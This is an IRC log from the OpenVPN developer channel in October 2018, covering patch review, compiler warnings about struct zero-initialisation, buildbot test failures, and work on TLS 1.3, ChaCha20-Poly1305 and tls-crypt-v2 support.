oh something new appeared on master 14:57 <@ordex> I may have not pulled the very latest change or cron2 may have pushed something else while I was reworking the patch 14:58 <@ordex> hm but rebase did not generate any conflict 14:58 <@cron2> 68e0b9db is OOOLD, like two more on top of that 14:59 <@ordex> yeah, I just reset and did git pw patch apply 498. the patch applied cleanly 15:00 <@cron2> wth is strprefix() 15:00 <@ordex> No manual entry for strprefix 15:00 <@cron2> buffer.h 15:00 <@ordex> :P 15:00 <@cron2> syzzer magic 15:01 <@ordex> lol for lazy people 15:01 <@ordex> amaZZing 15:02 <@cron2> uber is proposing "lviv airport" as the next possible destination 15:02 <@cron2> and it's like 163 UAH now because "high demand!" 15:06 <@cron2> syzzer: are you ok with me changing the code of 15:06 <@cron2> + || strprefix(p1, "tun-ipv6 ")) 15:06 <@cron2> to 15:06 <@cron2> + || strprefix(p1, "tun-ipv6")) 15:06 <@cron2> ? 15:06 <@cron2> "this no blank" 15:07 <@cron2> (ah, I see now why I actually got a warning about this: I was using it in peer-to-peer mode) 15:16 * cron2 just does so... 15:24 <@vpnHelper> RSS Update - gitrepo: Don't print OCC warnings about 'key-method', 'keydir' and 'tls-auth' <https://github.com/OpenVPN/openvpn/commit/3baae9ba52187166b7d0b05901732666477a2acb> 15:48 <@cron2> to bed now... breakfast at 08:30! 16:08 <@syzzer> sharp! 16:09 <@syzzer> anyway, tun-ipv6 should of course be without space indeed (and maybe even just strcmp?) 16:09 <@syzzer> but strprefix is effectively the same, assuming the option never gets an argument 17:19 -!- krzie [b3345a7d@openvpn/community/support/krzee] has quit [Quit: Page closed] 17:32 <@syzzer> okay, now I'm really going to sleep 17:32 <@syzzer> good night all :) 17:38 <@ordex> good night ! 22:14 <@vpnHelper> RSS Update - tickets: #1125: Expired CA certificate causes looping auth <https://community.openvpn.net/openvpn/ticket/1125> 23:38 <@vpnHelper> RSS Update - tickets: #1126: iOS 12 and 3.0.2 - enabling compression breaks connectivity <https://community.openvpn.net/openvpn/ticket/1126> --- Day changed Mon Oct 08 2018 01:36 <@ordex> syzzer: did you find out why my patch was not applying? in the patch changelog I have also pasted the commit ID it is based on 02:43 <@cron2> so, reporting from the Airport: there are ATMs here (like 6 different banks), but indeed no SIM card shops. Only many many car rental booths... and a chocolate shop 02:45 <@ordex> chocolate ! \o/ 02:53 <@cron2> syzzer, plaisthos: "patch v4 add support for tls-ciphersuites" is v4 of what was "2/3 add support ..." before? 03:17 <@plaisthos> cron2: it is the v4 of tls-ciphersuites 03:17 <@plaisthos> basically only change is the wrapping of the one line that syzzer complained about 03:18 <@cron2> ok 03:20 <@plaisthos> cron2: I need to figure out how to get format-patch to add a 2/3 when only pointing it a single commit 03:25 <@ordex> plaisthos: if you add -n --start-number 2 it will add 2/2. Not sure how to tell it that the total is 3 04:14 <@cron2> so, incoming flight arrived, so we should be boarding soonish... 04:14 <@cron2> *wave* 04:18 <@plaisthos> cron2: *wave* 04:20 <@ordex> bye 08:07 <@syzzer> ordex: no, didn't look at that patch again yet 08:08 <@syzzer> I'll probably take until Wed to get to openvpn stuff again 08:08 <@ordex> sure, thanks 08:18 <@ordex> I'll be here haunting you :-P 08:25 <@plaisthos> syzzer: I will also implement nopadding external-key for mbed tls 08:33 <@syzzer> plaisthos: cool! 08:39 <@plaisthos> damn mbed tls does not export rsa_rsassa_pkcs1_v15_encode :( 08:49 <@ordex> send a patch ! 09:17 <@vpnHelper> RSS Update - gitrepo: Reference msvc-generate from compat to assure correct build order <https://github.com/OpenVPN/openvpn/commit/354dd0e04228b813a1753da0f38836198c09f68b> 09:29 <@vpnHelper> RSS Update - gitrepo: crypto.h: remove unused function declaration <https://github.com/OpenVPN/openvpn/commit/8475ef0aeea30889188c6e0fd93a8cf4c0eb215a> || msvc: Move common project settings to reusable property sheets <https://github.com/OpenVPN/openvpn/commit/86859293f8f80057f6a056e4c71256e48c4ab511> 09:32 <@plaisthos> okay I have now mbed TLS openvpn 2 running on android prepared for TLS 1.3 :P 09:32 <@ordex> you are ahead of mbedtls 09:32 <@ordex> :D 09:50 <@cron2> Testing cipher CHACHA20-POLY1305... OK 09:52 <@syzzer> \o/ 09:52 <@vpnHelper> RSS Update - gitrepo: Add support for CHACHA20-POLY1305 in the data channel <https://github.com/OpenVPN/openvpn/commit/6d0d0af9883b9ae266c0468f2739557a53e94b68> 09:58 <@ordex> <o 10:01 <@cron2> so many patches, so few ACKs... 10:03 <@vpnHelper> RSS Update - gitrepo: msvc: Unify Unicode/MultiByte string setting across all cfg|plat <https://github.com/OpenVPN/openvpn/commit/279aa11978f07494a3b665a619fa74c9d4b1485b> 10:03 <@dazo> cron2: do you have a possibility to add ssh access to the build bot repository for me? I seem to miss it 10:03 <@cron2> dazo: mattock 10:03 <@dazo> going to try to run some builds with the rebase of d12fk patches 10:03 <@cron2> dazo: that's on "build.openvpn.net", and mattock holds the keys to that castle... 10:04 <@cron2> (my "git remote" even names this repo "mattock" :) ) 10:04 <@dazo> alright .... hope he survived his flight back home :-P 10:04 <@cron2> in theory it might be under your central LDAP regime... 10:04 <@dazo> I also can't access the buildbot web UI (with community VPN enabled) 10:04 <@dazo> hmmmmm 10:04 <@cron2> buildbot web moved to http://10.7.39.137:8010/builders 10:05 <@dazo> haha 10:05 <@dazo> yes 10:06 <@dazo> okay, got ssh access :) thx for the hint, cron2! 10:06 <@cron2> mmmh, freebsd11 buildbot did not come back after reboot... why...? 10:08 <@ordex> thanks for the new buildbot url 10:12 <@cron2> ewww... pkg autoremove decided that python stinks and has removed all modules 10:12 * d12fk looks up 10:12 <@d12fk> dazo: the patches from two years ago? 10:13 <@dazo> yeah 10:13 <@d12fk> nice 10:14 <@dazo> It's been quite a travel ... and it burned the last fragments energy from me yesterday :-P 10:15 <@d12fk> heh, not intended 10:15 <@dazo> :) 10:16 <@dazo> actually, I blame ordex for most of it ... he took the tun.c code and juggled it around a few thousand times :-P 10:16 <@d12fk> saw you pushed a couple of tickets around. are the ukrainian guys windows devs? 10:17 <@dazo> well, we do have some who will take that task for our new OpenVPN Connect clients on Windows .... but except of that, I currently consider Selva the main community maintainer 10:18 <@dazo> d12fk: you'd like to join OpenVPN Inc as a Windows dev? I can sure look into making that happening! ;-) 10:18 <@d12fk> anyone taking on making the windows driver throughtput better? 10:18 <@cron2> maybe 10:18 <@d12fk> dazo: heh, it ain't goin be cheap =P 10:19 <@cron2> (we need to pay an external developer to work on TAP6 to make it pass WHQL tests, and there is a chance that he'll fix at least some issues that could affect performance) 10:19 <@dazo> oh, we'll give you an offer to work from the Lviv office ... then we'll afford it ;-) 10:20 <@cron2> but the commuting is not really practical... :) 10:20 <@d12fk> and then: "Ekkehart die Russen kommen" ;-) 10:22 <@dazo> ;-) 10:22 <@cron2> tincantech: your arch box seems to have died... 10:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:29 <@dazo> mattock1! 10:29 <@dazo> I need access to the git repos on our public build server 10:29 <@dazo> I could login, but no write access ... missing group membership 10:56 <@ordex> syzzer: 0d54e9d8 << you may want to change the subject as it is now also introducing server key generation 11:02 <@mattock1> dazo: you are referring to the Git repository which buildbot uses? 11:02 <@mattock1> on build.openvpn.net? 11:04 <@dazo> mattock1: yes 11:07 <@mattock1> dazo: ok, will try to get it done today (have an ops meeting after the current hacking session) 11:07 <@dazo> thx! 11:53 <@mattock1> dazo: try now 11:56 <@dazo> mattock1: working! I'll get my stuff cleaned up and will to a push soon 11:58 <@mattock1> great! 12:23 * ordex hides 12:23 <@vpnHelper> RSS Update - gitrepo: build: Fix build warnings related to get_random() <https://github.com/OpenVPN/openvpn/commit/674b16640a19569c35045f18021e25df5e85dc1d> || man: correct a --redirection-gateway option flag <https://github.com/OpenVPN/openvpn/commit/f6bac113bcde4e342caf16d88e0a3a8e71085c90> 12:28 <@dazo> cron2: travis and my rhel7 compiler reports these warnings: 12:28 <@dazo> test_tls_crypt.c:61:12: warning: missing braces around initializer [-Wmissing-braces] 12:28 <@dazo> struct key key = { 0 }; 12:28 <@dazo> the fix is .... struct key key = {{ 0 }}; 12:29 <@dazo> newer gcc compilers (tested with gcc 7.3.1) does not have this warning 12:33 * cron2 defers to syzzer on "which compilers (should) do what on structure initialization" 12:33 <@cron2> but the new code looks broken 12:45 <@cron2> maybe not "broken" but certainly "confusing" 12:46 <@dazo> yeah :/ 12:46 <@dazo> I do know this double braces is some times required in C++ ... but, that's C++ 12:48 <@cron2> I can see why it wants that, because there's two "strings" inside, so the full initialization would be key = { {0}, {0} } and the second one is optional 12:48 <@cron2> did you enable particular -Wthings? 12:49 <@cron2> I compile with clang here which is fairly thorough, but it seems to find this clear enough as an expression of the programmer's intent, so no warning 12:49 <@dazo> nope, nothing added ... and it seems not to occur on newer GCC either. Tested with gcc 7.3.1 and that says nothing 12:50 <@dazo> I'd accept this warning on the stock RHEL7 (gcc 4.8) ... but when travis also sent this warning, I was surprised 12:50 <@dazo> (I expected that to be newer) 12:57 <@cron2> plaisthos is sending patches for functions that do not exist anywhere in my tree... 12:57 * cron2 is confused 12:57 <+lev__> cron2: I didn't get your point about "another nag for v2" 13:01 <+lev__> or maybe I did now. Shall we initialize one variable per line ? 13:01 <@cron2> lev__: if you initialize the variables at function entry, the (existing) line that sets them to NULL can go 13:02 <@cron2> so 13:02 <@cron2> - ovpn_user = NULL; 13:02 <@cron2> - svc_user = NULL; 13:02 <@cron2> in patch speak :) 13:04 <@dazo> cron2: Just checked buildbot logs .... the same braces warning appear even on FBSD11 13:04 <@cron2> wtf, let me check :) 13:04 <@cron2> crypto.c? 13:06 <@cron2> interesting, on FreeBSD 10.4 and Gentoo I have no warnings in crypto.c, with our default -W set (-Wall -Wno-unused-parameter -Wno-unused-function) 13:06 <@cron2> I did get a get_random() warning :) 13:08 <@plaisthos> cron2: sorry, my fault, is from another patch in my tree 13:08 <@plaisthos> lets ignore that patch for now 13:08 <@cron2> I already set it to "rejected" in patchwork :) 13:10 <@cron2> dazo: is this for mbedtls or openssl builds? 13:10 <@cron2> (because I just tried on 11.2 and couldn't get a warning out of the compiler either) 13:11 <@cron2> ah 13:12 <@ordex> syzzer: FYI https://paste.pound-python.org/show/MxciNirPH3sUgQeuW30l/ 13:12 <@cron2> I get one, but only in crypto_mbedtls.c, for mbedtls builds 13:12 <@cron2> ../../../openvpn.git/src/openvpn/crypto_mbedtls.c:324:47: warning: suggest 13:12 <@cron2> braces around initialization of subobject [-Wmissing-braces] 13:12 <@cron2> static mbedtls_ctr_drbg_context cd_ctx = {0}; 13:14 <@dazo> cron2: both, but don't remember the configs now ... just quickly checked random ones 13:15 <@dazo> there was another one more generic too, iirc 13:15 <@dazo> and definitely the one I posted in the beginning here on irc 13:15 * dazo need to get some food 13:16 <@cron2> ah 13:16 <@cron2> this is test_tls_crypt 13:16 <@cron2> which is only built at "make check" time 13:16 <@cron2> which I didn't do when looking for "why did I not see the compiler warning?" 13:17 <@cron2> (and indeed, I do not see warnings that need --enable-systemd :) ) 13:18 <@cron2> lev__: looks good to me. Since this is Selva's code, I'll give it a bit until tomorrow to see if he has some opinions - otherwise I'll ack and merge tomorrow 13:24 <@vpnHelper> RSS Update - gitrepo: build: Fix another compile warning in console_systemd.c <https://github.com/OpenVPN/openvpn/commit/02b392a2ca1e94b0d87c8f643ee887f1b34558ed> 13:30 <@cron2> plaisthos: your AUTO_USERID patch is based on something which is not master 13:30 <@cron2> the context has #ifdef ENABLE_MANAGEMENT (ssl.c) while master has #ifdef ENABLE_CLIENT_CR there 13:35 <@cron2> so is there a patch floating around that changes ENABLE_CLIENT_CR to ENABLE_MANAGEMENT that I missed? 13:39 <@cron2> mmmh 13:40 <@cron2> #if defined(ENABLE_MANAGEMENT) 13:40 <@cron2> #define ENABLE_CLIENT_CR 13:40 <@cron2> #endif 13:40 <@cron2> there was a patch, somewhere... 13:46 <@cron2> oh, svn logs... early git 13:46 <@cron2> New try at AUTO_USERID. 13:46 <@cron2> Backed out AUTO_USERID feature introduced in r1436. 13:46 <@cron2> Added #ifdefed out AUTO_USERID feature. 13:46 <@cron2> AUTO_USERID feature -- if the auth-user-pass option is used 13:51 <@vpnHelper> RSS Update - gitrepo: Remove AUTO_USERID feature <https://github.com/OpenVPN/openvpn/commit/00d78cd57fa52aa5a65df1707922791e72313663> 14:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:15 <@plaisthos> cron2: hm lemme double check 15:16 <@plaisthos> cron2: It depends on the other tls 1.3 patches ... 15:18 <@plaisthos> and git did not ignore #options.c# even though git status die not show it 15:18 <@plaisthos> so add dirs in git seem to be dangerous 15:18 <@ordex> when you add a dir you add a dir :P 15:19 <@plaisthos> oh 15:20 <@plaisthos> cron2: yeah sorry :/ 15:23 <@plaisthos> the fix auth-token patch is the wrong that messed that up 15:27 <@plaisthos> cron2: also the ENABLE_CR vs ENABLE_MANAGEMENT Is because you are missing 1/4 15:28 <@plaisthos> which is removing the always defined ENABLE_MANAGEMENT Featrues 15:28 <@plaisthos> but that patch tgurned out to be > 256k and is now stuck in moderator queue %) 15:29 <@plaisthos> not sure how that mail ended up being that large 15:29 <@plaisthos> but it now applies not anymore 15:33 <@cron2> I noticed that I missed 1/4 :-) - but I didn't expect something related to ENABLE_MANAGEMENT in a patch series sort of revolving around TLS1.3 15:39 <@plaisthos> cron2: those patches revolve around management+tls1.3 15:40 <@plaisthos> and I noticed that stuff while working on it and instead of haveing two conflicting patchset I put them into the same so they don't conflict 15:40 <@cron2> ok, makes sense :) 15:40 <@plaisthos> that doesn't seem to have worked :P 15:40 <@cron2> so now I make them conflict! \p/ 15:41 <@cron2> (I thought I pick the easy one that has no crypto and no management, just dead code) 15:41 <@plaisthos> yeah 15:41 <@cron2> anyway, sleep now... see what more happens tonight when Selva looks at the mail explosion on the list :) 15:41 <@plaisthos> yeah but autoid was really easy one:) 15:41 <@plaisthos> cron2: add the cryptong variant of 3/4 and 4/4 :D 16:24 <@plaisthos> syzzer: mbed tls doesn't support EC external keys atm, right?! 16:57 <@plaisthos> syzzer: I sent the lame version to fix that 17:37 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 17:45 <@ordex> hm 18:25 <@ordex> syzzer: my ovpn3 implementation works fine with your tls-crypt-v2 code :) not a guarantee, but at least it means we have no misunderstandings about the spec ;P 18:30 <@ordex> syzzer: with "your tls-crypt-v2 code" I mean that I was using openvpn2 as server 19:06 <@ordex> uhm buildbot is exploding on my sitnl branch, but I am not sure why I haven't seen these errors anywhere else .. 19:08 <@ordex> we'll have some spam..sorry 19:25 <@ordex> btw, my unit_tests do not compile anymore dazo cron2: 19:25 <@ordex> networking_testdriver-platform.o: In function `platform_create_temp_file': 19:25 <@ordex> /home/ordex/exp/openvpn/tests/unit_tests/openvpn/../../../src/openvpn/platform.c:357: undefined reference to `get_random' 19:25 <@ordex> /home/ordex/exp/openvpn/tests/unit_tests/openvpn/../../../src/openvpn/platform.c:356: undefined reference to `get_random' 19:25 <@ordex> collect2: error: ld returned 1 exit status 19:26 <@ordex> this is with mbedtls 19:30 <@ordex> weird² my gitlab-ci succeeded in everything 19:32 <@ordex> indeed not all the builders have failed 20:11 <@ordex> ah the error is due to the fact that i haven't included crypto.c in my new unit_test ...... sorry --- Day changed Tue Oct 09 2018 01:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:32 <@cron2> good morning 01:32 <@cron2> don't scare me just to make me wake up :-) 01:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:44 <@cron2> what is "MANAGEMENT_IN_EXTRA"...??? 01:51 <@plaisthos> MANAGEMENT_IN_EXTRA allows the management interface to 01:51 <@plaisthos> - * read multi-line inputs from clients. 01:51 <@plaisthos> basically also always enabled 01:51 <@plaisthos> (when management is enabled) 02:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:50 <@plaisthos> mattock1: hey, can you give the me the rights to change patch status in patchworks? 03:27 <@syzzer> cron2, dazo: " = { 0 }" is a standards-compliant way to zero-intialize structs 03:28 <@syzzer> but due to compiler bugs, compiler have thrown warnings about it for a long time 03:28 <@syzzer> the newest GCC compiler (7+ or so) should have finally fixed that bug 03:28 <@syzzer> both clang and gcc always did the right thing in code, just the warnings were wrongfully issued 03:30 <@syzzer> https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53119 03:32 <@ordex> sounds like we caught several compiler bugs these days 03:32 <@ordex> hehe 03:36 <@plaisthos> syzzer: and it relys on the obscure C standard definition that if a in an array/struct, something is not filled it should repeat the last element (which is 0 here) 04:04 <@cron2> oh, it's not 0-by-default but repeat-last-thing? wtf 04:05 <@ordex> amazingly confusing 04:06 <@ordex> I guess it was made on purpose to allow this { 0 } case, because I see no reason to use that feature and cnfuse everybody 04:06 <@ordex> but you never know .. 04:13 <@ordex> cron2: do you have any clue why t_client is failing on freebsd? I am referring to the last email we just received. It says: 04:13 <@ordex> FAIL: IPv4 ping test succeeded, but needs to *fail*. 04:13 <@cron2> that is likely a clash of test runs 04:14 <@cron2> if a VPN is already established by one test run, and something else triggers a second test run, it will notice "oh, I should not be able to ping that without a VPN, something is funky here" and fail 04:14 <@cron2> around 1700 local time, the server test runs, which uses fbsd74 as "the oldest possible client to test against" 04:15 <@ordex> oky 04:15 <@ordex> nothing to worry about then 04:15 <@ordex> thanks! 04:16 <@ordex> I can fix the other issues 04:16 <@ordex> :P 04:17 <@syzzer> plaisthos, cron2: no, omitted struct members are always zero-initialized 04:17 <@syzzer> See C99 6.7.8.21: 04:18 <@syzzer> "If there are fewer initializers in a brace-enclosed list than there are elements or members of an aggregate, or fewer characters in a string literal used to initialize an array of known size than there are elements in the array, the remainder of the aggregate shall be initialized implicitly the same as objects that have static storage duration." 04:25 <@cron2> ordex: not sure how you managed to trigger that *now*, but we have the suspicion that buildbot sometimes runs multiple builds in parallel, so it could hit itself here 04:26 <@ordex> I see 04:26 <@ordex> well, to me it's just important to know that it was not a bug in my code 04:26 <@cron2> tincantech's node failed with "ifconfig diff before/after", which looks like "something else changed things while our test ran" 04:26 <@cron2> this is a spurious failure and hard to work around, so we just live with it 04:27 <@cron2> but it's certainly not your code, as that failure happens before your code is started :) 04:27 <@cron2> (unless it makes weird things like "fork() openvpn into the background instead of terminating on SIGHUP") 04:36 <@ordex> cron2: it happened again with build-cron2-freebsd-103-amd64-stable-master - weird. in any case it is nothing urgent I guess 05:11 <@cron2> seems a process has gotten stuck an dthus the VPN is still up 05:11 <@cron2> root 99113 0.0 1.0 21828 4708 - S 2:08AM 0:01.56 ../src/openvpn/openvpn --client --ca /home/openvpn-keys/ca.crt 05:14 <@cron2> this happens every now and then... buildbot has long run into a timeout and exited, but the signalling did not propagate all the way 05:15 <@ordex> I see 05:16 <@cron2> SIGINTR'ed the process manually, it nicely terminated... no idea what went wrong there. I assume it's some sort of race condition between buildbot, t_client, sudo and openvpn and signal propagation 05:18 <@ordex> yeah, too many things involved to properly debug it...but if it's rare, I guess we can live with that 05:23 <@cron2> it only happens at hackathons :) 05:23 <@ordex> :D 05:23 <@cron2> (I had this happen last year as well, killed the process, and it did not happen again since then) 07:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 07:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 10:10 <@ordex> is it normally that when connecting to the community VPN I see "Seppänen" in the cert data? shouldn't it be able to print properly? 10:14 * cron2 is wearing his "schei<?> encoding" T-Shirt today... 10:14 <@cron2> "schei<?>" is the german word for "shit" which has a german-double-s at the last word... 10:14 <@cron2> https://www.getdigital.de/scheiss-encoding.html?gclid=CjwKCAjwo_HdBRBjEiwAiPPXpFvkwQABi5fQORMzCcxiOYTpKokfvHdU-TYLsIiAeuH7SBOzf749TBoCA7gQAvD_BwE 10:14 <@vpnHelper> Title: Schei? Encoding | getDigital (at www.getdigital.de) 11:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:19 < tincantech> cron2: My old PC PSU finally expired .. it has been *not* a fun weekend .. anybody want to send me a donation ;) 12:51 <@plaisthos> ordex: is that with mbed tls 12:51 <@plaisthos> if yes there is a bug for that in trac (openvpn2)and jira (openvpn3) 13:01 <@plaisthos> I just got mail rejected from openvpn-devel?! 13:13 <@ecrist> "You're fired." 13:15 <@plaisthos> :( 13:46 <@ordex> :D 13:46 <@ordex> !!! 13:50 <@ecrist> plaisthos: we'll always welcome you here. <mumbles>stupid sourceforge</mumbles> 13:56 <@plaisthos> syzzer: I omitted changelogs for the V2 patches since you haven't looked at them anyway ;) 14:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:49 <@cron2> syzzer: awwww. 13de0103e. Thanks for reminding me :) 15:57 <@syzzer> cron2: yeah, I was already planning on replying that, but when I saw your reply grabbed the laptop to stop the wasting of time on your both ends 20:39 -!- Netsplit *.net <-> *.split quits: +lev__, pekster, @plaisthos, @cron2, @syzzer, @vpnHelper, @dazo 20:44 -!- Netsplit over, joins: pekster, @plaisthos, @syzzer, @cron2, +lev__ 20:45 -!- ServerMode/#openvpn-devel [+o ordex] by verne.freenode.net 20:46 -!- Netsplit over, joins: @dazo 20:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Wed Oct 10 2018 00:41 <@syzzer> ordex: (re b64) I think 'binary length' makes it a bit more clear that the argument given is the length of the binary-encoded data, not the base64-encoded data 00:42 <@syzzer> so I'm sticking with 'binary_length' : 00:42 <@syzzer> I think I've processed all your comments up to this point, so I guess it's time to send another patch set to the list :) 01:22 <@cron2> interesting read on the list wrt "-(int)..." :) 01:22 <@cron2> this is why I didn't apply it right away, wanted to hear more comments from people who really know what the standard has to say here 01:46 <@syzzer> yeah, it's quite an interesting corner case, because size_t typically is the biggest supported native unsigned type on a platform 01:46 <@syzzer> so the compiler can't promote it to a larger signed type 01:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:57 <@cron2> oops 02:03 <@mattock1> post-hackathon meeting today? 02:10 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Ping timeout: 252 seconds] 02:11 <@syzzer> mattock1: I could make it 02:13 <@cron2> mattock1: sounds good 02:23 <@mattock1> ok, let's do a meeting 02:27 <@mattock1> sent invitation 02:34 <@syzzer> can I interest anyone in a review of https://patchwork.openvpn.net/patch/161/ ? The preceding patches introduced unit tests for this function, so that should help with checking that it still does the same thing 02:34 <@vpnHelper> Title: [Openvpn-devel,5/5,v2] buffer_list_aggregate_separator(): simplify code - Patchwork (at patchwork.openvpn.net) 02:56 <@syzzer> ordex: new tls-crypt-v2 patch set on the list :) 02:56 * syzzer now switching to patch review mode again 03:23 <@ordex> syzzer: aaah ack about binary_length. makes sense 03:24 <@ordex> syzzer: I reviewed that just yesterday night on my flight back to italy 03:24 <@ordex> :D 03:24 <@ordex> talking about patch/161 03:30 <@ordex> mattock1: dazo: cron2: syzzer: I won't be able to make it to the meeting as my flight is departing shortly after the meeting time 03:30 <@cron2> where are you flying to now? 03:37 <@ordex> Taipei (with layover in Hong Kong) 03:38 <@ordex> yesterday I just got home, changed trousers with shorts and packed my luggage again :D 03:39 <@ordex> I should have some time to revie wmore patches during this flight - if I don't fall asleep in 3..2..1.......zzZ 03:40 <@syzzer> hehe, flight is long enough in any case. Thanks for the review of the last buffer_list_aggregate patch! 03:42 <@ordex> np! 03:43 <@ordex> syzzer: tls-crypt-v2 1/7 is missing because it was merged, right ? 03:45 <@dazo> btw ... I plan to have have completed most of of d12fk's struct argv patches this week (hopefully already today) ... I've hit a few challenges during the rebase where git and I confused each other; I might need to redo parts of the rebasing :( 03:46 <@syzzer> ordex: correct 03:46 <@syzzer> but I wanted to keep the numbering consistent over the patch sets 03:46 <@ordex> yup makes sense - I just wanted to be sure 03:47 <@cron2> ordex: I thought you're in italy for all of October? 03:47 <@cron2> syzzer: you need to teach your tricks to plaisthos 03:47 <@ordex> well, will come back on Sunday and stay until the end of October 03:48 <@ordex> plaisthos is too lazy :-P that's not something syzzer can fix :D 03:48 <@cron2> "just a few days to Taipei, enjoy the sunset, sleep in the plane" :) 03:48 <@ordex> :D 03:48 <@ordex> mostly hehe 03:50 * syzzer is now trying to make sense of all the plaisthos patches, which is quite a challenge... 04:11 <@ordex> cron2: have you seen the latest buildbot yelling? any clue what that might be ? 04:12 <@ordex> ah maybe after my merge inline thing we need to include some more modules to the test_drivers .. but I am not sure why I can't see it here 04:12 <@syzzer> ordex: mbedtls builds failing perhaps? 04:12 <@syzzer> that is because of dazo's get_random include fix 04:12 <@syzzer> patch to fix that is already on the list :) 04:13 <@syzzer> https://patchwork.openvpn.net/patch/525/ 04:13 <@vpnHelper> Title: [Openvpn-devel] Fix mbedtls unit tests - Patchwork (at patchwork.openvpn.net) 04:13 <@ordex> hmmm nope in this case it can't find references to some pf_* function. I am wondering if they were in the pf-inline.h before and now they are in some .c that we need to includ ein the test build 04:13 <@cron2> ordex: doesn't it fail for local builds? 04:13 <@syzzer> hm, that could be. 04:14 <@cron2> this seems to affect only linux 04:14 <@ordex> checking again now - yesterday I did not see it failing 04:14 <@ordex> nope, I see *bsd reports of the same issue 04:15 <@cron2> really? all mails I saw were fedora-24 and centos, I think 04:15 <@cron2> but I did not check very thoroughly 04:15 <@ordex> those were from yesterday. then this night I launched a full build 04:15 <@ordex> btw it is failing when linking the final openvpn binary - not even the test units 04:16 <@ordex> weird 04:16 <@syzzer> maybe some --disable-server test or so? 04:16 <@syzzer> (or whatever we have left) 04:16 <@ordex> aaaah 04:16 <@ordex> either that or --enable-small 04:16 <@ordex> or both together 04:16 <@ordex> that is the issue 04:16 <@ordex> this is why I did not see it here 04:17 <@ordex> all the failures have --disable-server and --enable-small activated 04:17 <@ordex> must be that then 04:17 * dazo looks up? 04:18 <@dazo> What did I do? 04:18 <@dazo> Don't tell me lev was right all along? :-P 04:18 <@ordex> I *guess* nothing because master did not explode, only my branch 04:18 <@ordex> he is always right in any case :D 04:18 <@dazo> ahh, okay, I can live with you breaking your local branches :-P 04:21 <@syzzer> dazo: https://patchwork.openvpn.net/patch/525/ 04:21 <@vpnHelper> Title: [Openvpn-devel] Fix mbedtls unit tests - Patchwork (at patchwork.openvpn.net) 04:21 * dazo looks 04:23 <@dazo> syzzer: why do you use $(abs_top_builddir) ... doesn't $(top_builddir) work? 04:24 <@cron2> there is a patch in patchwork for that IIRC 04:24 <@dazo> not strictly related to this change though 04:24 <@cron2> https://patchwork.openvpn.net/patch/453/ 04:24 <@vpnHelper> Title: [Openvpn-devel] cmocka: use relative paths - Patchwork (at patchwork.openvpn.net) 04:25 <@cron2> (it might be totally unrelated, but it sounds like it could be that same thing) 04:25 <@syzzer> it's not the same thing, but yes, there is a patch for that in patchwork and this sounds like those are going to cause merge conflicts 04:25 <@dazo> hehe ... that is exactly the same thing :) 04:26 <@dazo> oh no 04:26 <@dazo> it's not 04:26 <@cron2> haha 04:26 <@dazo> I just saw the + lines not using abs_ 04:26 <@syzzer> https://patchwork.openvpn.net/patch/453/ 04:26 <@vpnHelper> Title: [Openvpn-devel] cmocka: use relative paths - Patchwork (at patchwork.openvpn.net) 04:26 <@syzzer> dazo: sounds like you want to review that one :p 04:27 <@dazo> going to look at both of them ;-) 04:27 <@syzzer> o/ 04:27 <@syzzer> \\o 04:27 <@syzzer> \o/ 04:27 <@cron2> dazo: if you feel like merge+push right away, go for it. My tree is synced 04:27 <@cron2> just let me know when I can "get it back" 04:28 <@cron2> (most likely I won't do any merging before "after 20:00 tonight") 04:31 <@dazo> I'll try to get a few things done 04:32 <@cron2> if not, just sending ACKs to the list is good enough, I'll go through all ACKed-and-not-merged stuff tonight anyway. So whatever makes sense for you. 05:03 <@plaisthos> syzzer: if in doubt ask me :) 05:04 <@plaisthos> I am refactoring the show-tls to factor out the common message etc. 05:04 <@plaisthos> is ssl.c the right place for shared crypto code? 05:05 <@syzzer> or crypto.c, if it's not ssl related :) 05:05 <@cron2> I was about to say that but had to wash my hands first :) 06:20 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+v lev__] by ChanServ 07:06 <@plaisthos> cron2: on te screw uped v4 of the patch that should only have one extra line break + move *, do you want to fix on commit or should I send another version? 07:15 <@cron2> I'll fix that on the go 07:29 <@plaisthos> argh instead of testing oepnssl + mbed 07:29 <@plaisthos> I tested mbed tls twice 08:39 <@syzzer> plaisthos: how do I get you to remember using curly braces :p 08:39 <@syzzer> and 80 chars line length 08:40 <@plaisthos> syzzer: where did I screw up? 08:41 <@syzzer> --show-tls (review on the list) 08:41 <@syzzer> 3/3 09:02 <@syzzer> plaisthos: what commit is https://patchwork.openvpn.net/patch/522/ based on? It doesn't apply cleanly to git master, and git am -3 won't have it either: "fatal: sha1 information is lacking or useless (src/openvpn/init.c)." 09:02 <@vpnHelper> Title: [Openvpn-devel,v2,1/3] Remove MANAGMENT_EXTERNAL_KEY, MANAGMENT_IN_EXTRA, ENABLE_CLIENT_CR - Patchwork (at patchwork.openvpn.net) 09:09 